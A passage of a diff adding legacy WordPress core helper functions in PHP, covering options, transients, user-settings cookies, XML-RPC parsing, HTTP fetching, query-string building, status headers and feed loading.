+ * Removes option by name and prevents removal of protected WordPress options.
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 1.2.0
+ *
+ * @param string $name Option name to remove.
+ * @return bool True, if succeed. False, if failure.
+ */
+function delete_option( $name ) {
+	global $wpdb;
+
+	wp_protect_special_option( $name );
+
+	// Get the ID, if no ID then return
+	// expected_slashed ($name)
+	$option = $wpdb->get_row( "SELECT option_id, autoload FROM $wpdb->options WHERE option_name = '$name'" );
+	if ( is_null($option) || !$option->option_id )
+		return false;
+	// expected_slashed ($name)
+	$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name = '$name'" );
+	if ( 'yes' == $option->autoload ) {
+		$alloptions = wp_load_alloptions();
+		if ( isset( $alloptions[$name] ) ) {
+			unset( $alloptions[$name] );
+			wp_cache_set( 'alloptions', $alloptions, 'options' );
+		}
+	} else {
+		wp_cache_delete( $name, 'options' );
+	}
+	return true;
+}
+
+/**
+ * Delete a transient
+ *
+ * @since 2.8.0
+ * @package WordPress
+ * @subpackage Transient
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped
+ * @return bool true if successful, false otherwise
+ */
+function delete_transient($transient) {
+	global $_wp_using_ext_object_cache, $wpdb;
+
+	if ( $_wp_using_ext_object_cache ) {
+		return wp_cache_delete($transient, 'transient');
+	} else {
+		$transient = '_transient_' . $wpdb->escape($transient);
+		return delete_option($transient);
+	}
+}
+
+/**
+ * Get the value of a transient
+ *
+ * If the transient does not exist or does not have a value, then the return value
+ * will be false.
+ *
+ * @since 2.8.0
+ * @package WordPress
+ * @subpackage Transient
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped
+ * @return mixed Value of transient
+ */
+function get_transient($transient) {
+	global $_wp_using_ext_object_cache, $wpdb;
+
+	$pre = apply_filters( 'pre_transient_' . $transient, false );
+	if ( false !== $pre )
+		return $pre;
+
+	if ( $_wp_using_ext_object_cache ) {
+		$value = wp_cache_get($transient, 'transient');
+	} else {
+		$transient_option = '_transient_' . $wpdb->escape($transient);
+		// If option is not in alloptions, it is not autoloaded and thus has a timeout
+		$alloptions = wp_load_alloptions();
+		if ( !isset( $alloptions[$transient_option] ) ) {
+			$transient_timeout = '_transient_timeout_' . $wpdb->escape($transient);
+			if ( get_option($transient_timeout) < time() ) {
+				delete_option($transient_option);
+				delete_option($transient_timeout);
+				return false;
+			}
+		}
+
+		$value = get_option($transient_option);
+	}
+
+	return apply_filters('transient_' . $transient, $value);
+}
+
+/**
+ * Set/update the value of a transient
+ *
+ * You do not need to serialize values, if the value needs to be serialize, then
+ * it will be serialized before it is set.
+ *
+ * @since 2.8.0
+ * @package WordPress
+ * @subpackage Transient
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped
+ * @param mixed $value Transient value.
+ * @param int $expiration Time until expiration in seconds, default 0
+ * @return bool False if value was not set and true if value was set.
+ */
+function set_transient($transient, $value, $expiration = 0) {
+	global $_wp_using_ext_object_cache, $wpdb;
+
+	if ( $_wp_using_ext_object_cache ) {
+		return wp_cache_set($transient, $value, 'transient', $expiration);
+	} else {
+		$transient_timeout = '_transient_timeout_' . $transient;
+		$transient = '_transient_' . $transient;
+		$safe_transient = $wpdb->escape($transient);
+		if ( false === get_option( $safe_transient ) ) {
+			$autoload = 'yes';
+			if ( 0 != $expiration ) {
+				$autoload = 'no';
+				add_option($transient_timeout, time() + $expiration, '', 'no');
+			}
+			return add_option($transient, $value, '', $autoload);
+		} else {
+			if ( 0 != $expiration )
+				update_option($transient_timeout, time() + $expiration);
+			return update_option($transient, $value);
+		}
+	}
+}
+
+/**
+ * Saves and restores user interface settings stored in a cookie.
+ *
+ * Checks if the current user-settings cookie is updated and stores it. When no
+ * cookie exists (different browser used), adds the last saved cookie restoring
+ * the settings.
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 2.7.0
+ */
+function wp_user_settings() {
+
+	if ( ! is_admin() )
+		return;
+
+	if ( defined('DOING_AJAX') )
+		return;
+
+	if ( ! $user = wp_get_current_user() )
+		return;
+
+	$settings = get_user_option( 'user-settings', $user->ID, false );
+
+	if ( isset( $_COOKIE['wp-settings-' . $user->ID] ) ) {
+		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE['wp-settings-' . $user->ID] );
+
+		if ( ! empty( $cookie ) && strpos( $cookie, '=' ) ) {
+			if ( $cookie == $settings )
+				return;
+
+			$last_time = (int) get_user_option( 'user-settings-time', $user->ID, false );
+			$saved = isset( $_COOKIE['wp-settings-time-' . $user->ID]) ? preg_replace( '/[^0-9]/', '', $_COOKIE['wp-settings-time-' . $user->ID] ) : 0;
+
+			if ( $saved > $last_time ) {
+				update_user_option( $user->ID, 'user-settings', $cookie, false );
+				update_user_option( $user->ID, 'user-settings-time', time() - 5, false );
+				return;
+			}
+		}
+	}
+
+	setcookie( 'wp-settings-' . $user->ID, $settings, time() + 31536000, SITECOOKIEPATH );
+	setcookie( 'wp-settings-time-' . $user->ID, time(), time() + 31536000, SITECOOKIEPATH );
+	$_COOKIE['wp-settings-' . $user->ID] = $settings;
+}
+
+/**
+ * Retrieve user interface setting value based on setting name.
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 2.7.0
+ *
+ * @param string $name The name of the setting.
+ * @param string $default Optional default value to return when $name is not set.
+ * @return mixed the last saved user setting or the default value/false if it doesn't exist.
+ */
+function get_user_setting( $name, $default = false ) {
+
+	$all = get_all_user_settings();
+
+	return isset($all[$name]) ? $all[$name] : $default;
+}
+
+/**
+ * Add or update user interface setting.
+ *
+ * Both $name and $value can contain only ASCII letters, numbers and underscores.
+ * This function has to be used before any output has started as it calls setcookie().
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 2.8.0
+ *
+ * @param string $name The name of the setting.
+ * @param string $value The value for the setting.
+ * @return bool true if set successfully/false if not.
+ */
+function set_user_setting( $name, $value ) {
+
+	if ( headers_sent() )
+		return false;
+
+	$all = get_all_user_settings();
+	$name = preg_replace( '/[^A-Za-z0-9_]+/', '', $name );
+
+	if ( empty($name) )
+		return false;
+
+	$all[$name] = $value;
+
+	return wp_set_all_user_settings($all);
+}
+
+/**
+ * Delete user interface settings.
+ *
+ * Deleting settings would reset them to the defaults.
+ * This function has to be used before any output has started as it calls setcookie().
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 2.7.0
+ *
+ * @param mixed $names The name or array of names of the setting to be deleted.
+ * @return bool true if deleted successfully/false if not.
+ */
+function delete_user_setting( $names ) {
+
+	if ( headers_sent() )
+		return false;
+
+	$all = get_all_user_settings();
+	$names = (array) $names;
+
+	foreach ( $names as $name ) {
+		if ( isset($all[$name]) ) {
+			unset($all[$name]);
+			$deleted = true;
+		}
+	}
+
+	if ( isset($deleted) )
+		return wp_set_all_user_settings($all);
+
+	return false;
+}
+
+/**
+ * Retrieve all user interface settings.
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 2.7.0
+ *
+ * @return array the last saved user settings or empty array.
+ */
+function get_all_user_settings() {
+	global $_updated_user_settings;
+
+	if ( ! $user = wp_get_current_user() )
+		return array();
+
+	if ( isset($_updated_user_settings) && is_array($_updated_user_settings) )
+		return $_updated_user_settings;
+
+	$all = array();
+	if ( isset($_COOKIE['wp-settings-' . $user->ID]) ) {
+		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE['wp-settings-' . $user->ID] );
+
+		if ( $cookie && strpos($cookie, '=') ) // the '=' cannot be 1st char
+			parse_str($cookie, $all);
+
+	} else {
+		$option = get_user_option('user-settings', $user->ID);
+		if ( $option && is_string($option) )
+			parse_str( $option, $all );
+	}
+
+	return $all;
+}
+
+/**
+ * Private. Set all user interface settings.
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 2.8.0
+ *
+ */
+function wp_set_all_user_settings($all) {
+	global $_updated_user_settings;
+
+	if ( ! $user = wp_get_current_user() )
+		return false;
+
+	$_updated_user_settings = $all;
+	$settings = '';
+	foreach ( $all as $k => $v ) {
+		$v = preg_replace( '/[^A-Za-z0-9_]+/', '', $v );
+		$settings .= $k . '=' . $v . '&';
+	}
+
+	$settings = rtrim($settings, '&');
+
+	update_user_option( $user->ID, 'user-settings', $settings, false );
+	update_user_option( $user->ID, 'user-settings-time', time(), false );
+
+	return true;
+}
+
+/**
+ * Delete the user settings of the current user.
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 2.7.0
+ */
+function delete_all_user_settings() {
+	if ( ! $user = wp_get_current_user() )
+		return;
+
+	update_user_option( $user->ID, 'user-settings', '', false );
+	setcookie('wp-settings-' . $user->ID, ' ', time() - 31536000, SITECOOKIEPATH);
+}
+
+/**
+ * Serialize data, if needed.
+ *
+ * @since 2.0.5
+ *
+ * @param mixed $data Data that might be serialized.
+ * @return mixed A scalar data
+ */
+function maybe_serialize( $data ) {
+	if ( is_array( $data ) || is_object( $data ) )
+		return serialize( $data );
+
+	if ( is_serialized( $data ) )
+		return serialize( $data );
+
+	return $data;
+}
+
+/**
+ * Strip HTML and put links at the bottom of stripped content.
+ *
+ * Searches for all of the links, strips them out of the content, and places
+ * them at the bottom of the content with numbers.
+ *
+ * @since 0.71
+ *
+ * @param string $content Content to get links
+ * @return string HTML stripped out of content with links at the bottom.
+ */
+function make_url_footnote( $content ) {
+	preg_match_all( '/<a(.+?)href=\"(.+?)\"(.*?)>(.+?)<\/a>/', $content, $matches );
+	$links_summary = "\n";
+	for ( $i=0; $i<count($matches[0]); $i++ ) {
+		$link_match = $matches[0][$i];
+		$link_number = '['.($i+1).']';
+		$link_url = $matches[2][$i];
+		$link_text = $matches[4][$i];
+		$content = str_replace( $link_match, $link_text . ' ' . $link_number, $content );
+		$link_url = ( ( strtolower( substr( $link_url, 0, 7 ) ) != 'http://' ) && ( strtolower( substr( $link_url, 0, 8 ) ) != 'https://' ) ) ? get_option( 'home' ) . $link_url : $link_url;
+		$links_summary .= "\n" . $link_number . ' ' . $link_url;
+	}
+	$content  = strip_tags( $content );
+	$content .= $links_summary;
+	return $content;
+}
+
+/**
+ * Retrieve post title from XMLRPC XML.
+ *
+ * If the title element is not part of the XML, then the default post title from
+ * the $post_default_title will be used instead.
+ *
+ * @package WordPress
+ * @subpackage XMLRPC
+ * @since 0.71
+ *
+ * @global string $post_default_title Default XMLRPC post title.
+ *
+ * @param string $content XMLRPC XML Request content
+ * @return string Post title
+ */
+function xmlrpc_getposttitle( $content ) {
+	global $post_default_title;
+	if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
+		$post_title = $matchtitle[1];
+	} else {
+		$post_title = $post_default_title;
+	}
+	return $post_title;
+}
+
+/**
+ * Retrieve the post category or categories from XMLRPC XML.
+ *
+ * If the category element is not found, then the default post category will be
+ * used. The return type then would be what $post_default_category. If the
+ * category is found, then it will always be an array.
+ *
+ * @package WordPress
+ * @subpackage XMLRPC
+ * @since 0.71
+ *
+ * @global string $post_default_category Default XMLRPC post category.
+ *
+ * @param string $content XMLRPC XML Request content
+ * @return string|array List of categories or category name.
+ */
+function xmlrpc_getpostcategory( $content ) {
+	global $post_default_category;
+	if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
+		$post_category = trim( $matchcat[1], ',' );
+		$post_category = explode( ',', $post_category );
+	} else {
+		$post_category = $post_default_category;
+	}
+	return $post_category;
+}
+
+/**
+ * XMLRPC XML content without title and category elements.
+ *
+ * @package WordPress
+ * @subpackage XMLRPC
+ * @since 0.71
+ *
+ * @param string $content XMLRPC XML Request content
+ * @return string XMLRPC XML Request content without title and category elements.
+ */
+function xmlrpc_removepostdata( $content ) {
+	$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
+	$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
+	$content = trim( $content );
+	return $content;
+}
+
+/**
+ * Open the file handle for debugging.
+ *
+ * This function is used for XMLRPC feature, but it is general purpose enough
+ * to be used in anywhere.
+ *
+ * @see fopen() for mode options.
+ * @package WordPress
+ * @subpackage Debug
+ * @since 0.71
+ * @uses $debug Used for whether debugging is enabled.
+ *
+ * @param string $filename File path to debug file.
+ * @param string $mode Same as fopen() mode parameter.
+ * @return bool|resource File handle. False on failure.
+ */
+function debug_fopen( $filename, $mode ) {
+	global $debug;
+	if ( 1 == $debug ) {
+		$fp = fopen( $filename, $mode );
+		return $fp;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Write contents to the file used for debugging.
+ *
+ * Technically, this can be used to write to any file handle when the global
+ * $debug is set to 1 or true.
+ *
+ * @package WordPress
+ * @subpackage Debug
+ * @since 0.71
+ * @uses $debug Used for whether debugging is enabled.
+ *
+ * @param resource $fp File handle for debugging file.
+ * @param string $string Content to write to debug file.
+ */
+function debug_fwrite( $fp, $string ) {
+	global $debug;
+	if ( 1 == $debug )
+		fwrite( $fp, $string );
+}
+
+/**
+ * Close the debugging file handle.
+ *
+ * Technically, this can be used to close any file handle when the global $debug
+ * is set to 1 or true.
+ *
+ * @package WordPress
+ * @subpackage Debug
+ * @since 0.71
+ * @uses $debug Used for whether debugging is enabled.
+ *
+ * @param resource $fp Debug File handle.
+ */
+function debug_fclose( $fp ) {
+	global $debug;
+	if ( 1 == $debug )
+		fclose( $fp );
+}
+
+/**
+ * Check content for video and audio links to add as enclosures.
+ *
+ * Will not add enclosures that have already been added and will
+ * remove enclosures that are no longer in the post. This is called as
+ * pingbacks and trackbacks.
+ *
+ * @package WordPress
+ * @since 1.5.0
+ *
+ * @uses $wpdb
+ *
+ * @param string $content Post Content
+ * @param int $post_ID Post ID
+ */
+function do_enclose( $content, $post_ID ) {
+	global $wpdb;
+	include_once( ABSPATH . WPINC . '/class-IXR.php' );
+
+	$log = debug_fopen( ABSPATH . 'enclosures.log', 'a' );
+	$post_links = array();
+	debug_fwrite( $log, 'BEGIN ' . date( 'YmdHis', time() ) . "\n" );
+
+	$pung = get_enclosed( $post_ID );
+
+	$ltrs = '\w';
+	$gunk = '/#~:.?+=&%@!\-';
+	$punc = '.:?\-';
+	$any = $ltrs . $gunk . $punc;
+
+	preg_match_all( "{\b http : [$any] +? (?= [$punc] * [^$any] | $)}x", $content, $post_links_temp );
+
+	debug_fwrite( $log, 'Post contents:' );
+	debug_fwrite( $log, $content . "\n" );
+
+	foreach ( $pung as $link_test ) {
+		if ( !in_array( $link_test, $post_links_temp[0] ) ) { // link no longer in post
+			$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, $link_test . '%') );
+		}
+	}
+
+	foreach ( (array) $post_links_temp[0] as $link_test ) {
+		if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
+			$test = parse_url( $link_test );
+			if ( isset( $test['query'] ) )
+				$post_links[] = $link_test;
+			elseif ( $test['path'] != '/' && $test['path'] != '' )
+				$post_links[] = $link_test;
+		}
+	}
+
+	foreach ( (array) $post_links as $url ) {
+		if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, $url . '%' ) ) ) {
+			if ( $headers = wp_get_http_headers( $url) ) {
+				$len = (int) $headers['content-length'];
+				$type = $headers['content-type'];
+				$allowed_types = array( 'video', 'audio' );
+				if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
+					$meta_value = "$url\n$len\n$type\n";
+					$wpdb->insert($wpdb->postmeta, array('post_id' => $post_ID, 'meta_key' => 'enclosure', 'meta_value' => $meta_value) );
+				}
+			}
+		}
+	}
+}
+
+/**
+ * Perform a HTTP HEAD or GET request.
+ *
+ * If $file_path is a writable filename, this will do a GET request and write
+ * the file to that path.
+ *
+ * @since 2.5.0
+ *
+ * @param string $url URL to fetch.
+ * @param string|bool $file_path Optional. File path to write request to.
+ * @param bool $deprecated Deprecated. Not used.
+ * @return bool|string False on failure and string of headers if HEAD request.
+ */
+function wp_get_http( $url, $file_path = false, $deprecated = false ) {
+	@set_time_limit( 60 );
+
+	$options = array();
+	$options['redirection'] = 5;
+
+	if ( false == $file_path )
+		$options['method'] = 'HEAD';
+	else
+		$options['method'] = 'GET';
+
+	$response = wp_remote_request($url, $options);
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	$headers = wp_remote_retrieve_headers( $response );
+	$headers['response'] = $response['response']['code'];
+
+	if ( false == $file_path )
+		return $headers;
+
+	// GET request - write it to the supplied filename
+	$out_fp = fopen($file_path, 'w');
+	if ( !$out_fp )
+		return $headers;
+
+	fwrite( $out_fp,  $response['body']);
+	fclose($out_fp);
+
+	return $headers;
+}
+
+/**
+ * Retrieve HTTP Headers from URL.
+ *
+ * @since 1.5.1
+ *
+ * @param string $url
+ * @param bool $deprecated Not Used.
+ * @return bool|string False on failure, headers on success.
+ */
+function wp_get_http_headers( $url, $deprecated = false ) {
+	$response = wp_remote_head( $url );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	return wp_remote_retrieve_headers( $response );
+}
+
+/**
+ * Whether today is a new day.
+ *
+ * @since 0.71
+ * @uses $day Today
+ * @uses $previousday Previous day
+ *
+ * @return int 1 when new day, 0 if not a new day.
+ */
+function is_new_day() {
+	global $day, $previousday;
+	if ( $day != $previousday )
+		return 1;
+	else
+		return 0;
+}
+
+/**
+ * Build URL query based on an associative and, or indexed array.
+ *
+ * This is a convenient function for easily building url queries. It sets the
+ * separator to '&' and uses _http_build_query() function.
+ *
+ * @see _http_build_query() Used to build the query
+ * @link http://us2.php.net/manual/en/function.http-build-query.php more on what
+ *		http_build_query() does.
+ *
+ * @since 2.3.0
+ *
+ * @param array $data URL-encode key/value pairs.
+ * @return string URL encoded string
+ */
+function build_query( $data ) {
+	return _http_build_query( $data, null, '&', '', false );
+}
+
+/**
+ * Retrieve a modified URL query string.
+ *
+ * You can rebuild the URL and append a new query variable to the URL query by
+ * using this function. You can also retrieve the full URL with query data.
+ *
+ * Adding a single key & value or an associative array. Setting a key value to
+ * emptystring removes the key. Omitting oldquery_or_uri uses the $_SERVER
+ * value.
+ *
+ * @since 1.5.0
+ *
+ * @param mixed $param1 Either newkey or an associative_array
+ * @param mixed $param2 Either newvalue or oldquery or uri
+ * @param mixed $param3 Optional. Old query or uri
+ * @return string New URL query string.
+ */
+function add_query_arg() {
+	$ret = '';
+	if ( is_array( func_get_arg(0) ) ) {
+		if ( @func_num_args() < 2 || false === @func_get_arg( 1 ) )
+			$uri = $_SERVER['REQUEST_URI'];
+		else
+			$uri = @func_get_arg( 1 );
+	} else {
+		if ( @func_num_args() < 3 || false === @func_get_arg( 2 ) )
+			$uri = $_SERVER['REQUEST_URI'];
+		else
+			$uri = @func_get_arg( 2 );
+	}
+
+	if ( $frag = strstr( $uri, '#' ) )
+		$uri = substr( $uri, 0, -strlen( $frag ) );
+	else
+		$frag = '';
+
+	if ( preg_match( '|^https?://|i', $uri, $matches ) ) {
+		$protocol = $matches[0];
+		$uri = substr( $uri, strlen( $protocol ) );
+	} else {
+		$protocol = '';
+	}
+
+	if ( strpos( $uri, '?' ) !== false ) {
+		$parts = explode( '?', $uri, 2 );
+		if ( 1 == count( $parts ) ) {
+			$base = '?';
+			$query = $parts[0];
+		} else {
+			$base = $parts[0] . '?';
+			$query = $parts[1];
+		}
+	} elseif ( !empty( $protocol ) || strpos( $uri, '=' ) === false ) {
+		$base = $uri . '?';
+		$query = '';
+	} else {
+		$base = '';
+		$query = $uri;
+	}
+
+	wp_parse_str( $query, $qs );
+	$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
+	if ( is_array( func_get_arg( 0 ) ) ) {
+		$kayvees = func_get_arg( 0 );
+		$qs = array_merge( $qs, $kayvees );
+	} else {
+		$qs[func_get_arg( 0 )] = func_get_arg( 1 );
+	}
+
+	foreach ( (array) $qs as $k => $v ) {
+		if ( $v === false )
+			unset( $qs[$k] );
+	}
+
+	$ret = build_query( $qs );
+	$ret = trim( $ret, '?' );
+	$ret = preg_replace( '#=(&|$)#', '$1', $ret );
+	$ret = $protocol . $base . $ret . $frag;
+	$ret = rtrim( $ret, '?' );
+	return $ret;
+}
+
+/**
+ * Removes an item or list from the query string.
+ *
+ * @since 1.5.0
+ *
+ * @param string|array $key Query key or keys to remove.
+ * @param bool $query When false uses the $_SERVER value.
+ * @return string New URL query string.
+ */
+function remove_query_arg( $key, $query=false ) {
+	if ( is_array( $key ) ) { // removing multiple keys
+		foreach ( $key as $k )
+			$query = add_query_arg( $k, false, $query );
+		return $query;
+	}
+	return add_query_arg( $key, false, $query );
+}
+
+/**
+ * Walks the array while sanitizing the contents.
+ *
+ * @uses $wpdb Used to sanitize values
+ * @since 0.71
+ *
+ * @param array $array Array to used to walk while sanitizing contents.
+ * @return array Sanitized $array.
+ */
+function add_magic_quotes( $array ) {
+	global $wpdb;
+
+	foreach ( (array) $array as $k => $v ) {
+		if ( is_array( $v ) ) {
+			$array[$k] = add_magic_quotes( $v );
+		} else {
+			$array[$k] = $wpdb->escape( $v );
+		}
+	}
+	return $array;
+}
+
+/**
+ * HTTP request for URI to retrieve content.
+ *
+ * @since 1.5.1
+ * @uses wp_remote_get()
+ *
+ * @param string $uri URI/URL of web page to retrieve.
+ * @return bool|string HTTP content. False on failure.
+ */
+function wp_remote_fopen( $uri ) {
+	$parsed_url = @parse_url( $uri );
+
+	if ( !$parsed_url || !is_array( $parsed_url ) )
+		return false;
+
+	$options = array();
+	$options['timeout'] = 10;
+
+	$response = wp_remote_get( $uri, $options );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	return $response['body'];
+}
+
+/**
+ * Setup the WordPress query.
+ *
+ * @since 2.0.0
+ *
+ * @param string $query_vars Default WP_Query arguments.
+ */
+function wp( $query_vars = '' ) {
+	global $wp, $wp_query, $wp_the_query;
+	$wp->main( $query_vars );
+
+	if( !isset($wp_the_query) )
+		$wp_the_query = $wp_query;
+}
+
+/**
+ * Retrieve the description for the HTTP status.
+ *
+ * @since 2.3.0
+ *
+ * @param int $code HTTP status code.
+ * @return string Empty string if not found, or description if found.
+ */
+function get_status_header_desc( $code ) {
+	global $wp_header_to_desc;
+
+	$code = absint( $code );
+
+	if ( !isset( $wp_header_to_desc ) ) {
+		$wp_header_to_desc = array(
+			100 => 'Continue',
+			101 => 'Switching Protocols',
+			102 => 'Processing',
+
+			200 => 'OK',
+			201 => 'Created',
+			202 => 'Accepted',
+			203 => 'Non-Authoritative Information',
+			204 => 'No Content',
+			205 => 'Reset Content',
+			206 => 'Partial Content',
+			207 => 'Multi-Status',
+			226 => 'IM Used',
+
+			300 => 'Multiple Choices',
+			301 => 'Moved Permanently',
+			302 => 'Found',
+			303 => 'See Other',
+			304 => 'Not Modified',
+			305 => 'Use Proxy',
+			306 => 'Reserved',
+			307 => 'Temporary Redirect',
+
+			400 => 'Bad Request',
+			401 => 'Unauthorized',
+			402 => 'Payment Required',
+			403 => 'Forbidden',
+			404 => 'Not Found',
+			405 => 'Method Not Allowed',
+			406 => 'Not Acceptable',
+			407 => 'Proxy Authentication Required',
+			408 => 'Request Timeout',
+			409 => 'Conflict',
+			410 => 'Gone',
+			411 => 'Length Required',
+			412 => 'Precondition Failed',
+			413 => 'Request Entity Too Large',
+			414 => 'Request-URI Too Long',
+			415 => 'Unsupported Media Type',
+			416 => 'Requested Range Not Satisfiable',
+			417 => 'Expectation Failed',
+			422 => 'Unprocessable Entity',
+			423 => 'Locked',
+			424 => 'Failed Dependency',
+			426 => 'Upgrade Required',
+
+			500 => 'Internal Server Error',
+			501 => 'Not Implemented',
+			502 => 'Bad Gateway',
+			503 => 'Service Unavailable',
+			504 => 'Gateway Timeout',
+			505 => 'HTTP Version Not Supported',
+			506 => 'Variant Also Negotiates',
+			507 => 'Insufficient Storage',
+			510 => 'Not Extended'
+		);
+	}
+
+	if ( isset( $wp_header_to_desc[$code] ) )
+		return $wp_header_to_desc[$code];
+	else
+		return '';
+}
+
+/**
+ * Set HTTP status header.
+ *
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'status_header' on status header string, HTTP
+ *		HTTP code, HTTP code description, and protocol string as separate
+ *		parameters.
+ *
+ * @param int $header HTTP status code
+ * @return null Does not return anything.
+ */
+function status_header( $header ) {
+	$text = get_status_header_desc( $header );
+
+	if ( empty( $text ) )
+		return false;
+
+	$protocol = $_SERVER["SERVER_PROTOCOL"];
+	if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
+		$protocol = 'HTTP/1.0';
+	$status_header = "$protocol $header $text";
+	if ( function_exists( 'apply_filters' ) )
+		$status_header = apply_filters( 'status_header', $status_header, $header, $text, $protocol );
+
+	return @header( $status_header, true, $header );
+}
+
+/**
+ * Gets the header information to prevent caching.
+ *
+ * The several different headers cover the different ways cache prevention is handled
+ * by different browsers
+ *
+ * @since 2.8
+ *
+ * @uses apply_filters()
+ * @return array The associative array of header names and field values.
+ */
+function wp_get_nocache_headers() {
+	$headers = array(
+		'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
+		'Last-Modified' => gmdate( 'D, d M Y H:i:s' ) . ' GMT',
+		'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
+		'Pragma' => 'no-cache',
+	);
+
+	if ( function_exists('apply_filters') ) {
+		$headers = apply_filters('nocache_headers', $headers);
+	}
+	return $headers;
+}
+
+/**
+ * Sets the headers to prevent caching for the different browsers.
+ *
+ * Different browsers support different nocache headers, so several headers must
+ * be sent so that all of them get the point that no caching should occur.
+ *
+ * @since 2.0.0
+ * @uses wp_get_nocache_headers()
+ */
+function nocache_headers() {
+	$headers = wp_get_nocache_headers();
+	foreach( (array) $headers as $name => $field_value )
+		@header("{$name}: {$field_value}");
+}
+
+/**
+ * Set the headers for caching for 10 days with JavaScript content type.
+ *
+ * @since 2.1.0
+ */
+function cache_javascript_headers() {
+	$expiresOffset = 864000; // 10 days
+	header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
+	header( "Vary: Accept-Encoding" ); // Handle proxies
+	header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
+}
+
+/**
+ * Retrieve the number of database queries during the WordPress execution.
+ *
+ * @since 2.0.0
+ *
+ * @return int Number of database queries
+ */
+function get_num_queries() {
+	global $wpdb;
+	return $wpdb->num_queries;
+}
+
+/**
+ * Whether input is yes or no. Must be 'y' to be true.
+ *
+ * @since 1.0.0
+ *
+ * @param string $yn Character string containing either 'y' or 'n'
+ * @return bool True if yes, false on anything else
+ */
+function bool_from_yn( $yn ) {
+	return ( strtolower( $yn ) == 'y' );
+}
+
+/**
+ * Loads the feed template from the use of an action hook.
+ *
+ * If the feed action does not have a hook, then the function will die with a
+ * message telling the visitor that the feed is not valid.
+ *
+ * It is better to only have one hook for each feed.
+ *
+ * @since 2.1.0
+ * @uses $wp_query Used to tell if the use a comment feed.
+ * @uses do_action() Calls 'do_feed_$feed' hook, if a hook exists for the feed.
+ */
+function do_feed() {
+	global $wp_query;
+
+	$feed = get_query_var( 'feed' );
+
+	// Remove the pad, if present.
+	$feed = preg_replace( '/^_+/', '', $feed );
+
+	if ( $feed == '' || $feed == 'feed' )
+		$feed = get_default_feed();
+
+	$hook = 'do_feed_' . $feed;
+	if ( !has_action($hook) ) {
+		$message = sprintf( __( 'ERROR: %s is not a valid feed template' ), esc_html($feed));
+		wp_die($message);
+	}
+
+	do_action( $hook, $wp_query->is_comment_feed );
+}
+
+/**
+ * Load the RDF RSS 0.91 Feed template.
+ *
+ * @since 2.1.0
+ */
+function do_feed_rdf() {
+	load_template( ABSPATH . WPINC . '/feed-rdf.php' );
+}
+
+/**
+ * Load the RSS 1.0 Feed Template
+ *
+ * @since 2.1.0
+ */
+function do_feed_rss() {
+	load_template( ABSPATH . WPINC . '/feed-rss.php' );
+}
+
+/**
+ * Load either the RSS2 comment feed or the RSS2 posts feed.
+ *
+ * @since 2.1.0
+ *
+ * @param bool $for_comments True for the comment feed, false for normal feed.
+ */
+function do_feed_rss2( $for_comments ) {
+	if ( $for_comments )
+		load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
+	else
+		load_template( ABSPATH . WPINC . '/feed-rss2.php' );
+}
+
+/**
+ * Load either Atom comment feed or Atom posts feed.
+ *
+ * @since 2.1.0
+ *
+ * @param bool $for_comments True for the comment feed, false for normal feed.
+ */
+function do_feed_atom( $for_comments ) {
+	if ($for_comments)
+		load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
+	else
+		load_template( ABSPATH . WPINC . '/feed-atom.php' );
+}
+
+/**
+ * Display the robot.txt file content.
+ *
+ * The echo content should be with usage of the permalinks or for creating the
+ * robot.txt file.
+ *
+ * @since 2.1.0
+ * @uses do_action() Calls 'do_robotstxt' hook for displaying robot.txt rules.
+ */
+function do_robots() {
+	header( 'Content-Type: text/plain; charset=utf-8' );
+
+	do_action( 'do_robotstxt' );
+
+	if ( '0' == get_option( 'blog_public' ) ) {
+		echo "User-agent: *\n";
+		echo "Disallow: /\n";
+	} else {
+		echo "User-agent: *\n";
+		echo "Disallow:\n";
+	}
+}
+
+/**
+ * Test whether blog is already installed.
+ *
+ * The cache will be checked first. If you have a cache plugin, which saves the
+ * cache values, then this will work. If you use the default WordPress cache,
+ * and the database goes away, then you might have problems.
+ *
+ * Checks for the option siteurl for whether WordPress is installed.
+ *
+ * @since 2.1.0
+ * @uses $wpdb
+ *
+ * @return bool Whether blog is already installed.
+ */
+function is_blog_installed() {
+	global $wpdb;
+
+	// Check cache first. If options table goes away and we have true cached, oh well.
+	if ( wp_cache_get( 'is_blog_installed' ) )
+		return true;
+
+	$suppress = $wpdb->suppress_errors();
+	$alloptions = wp_load_alloptions();
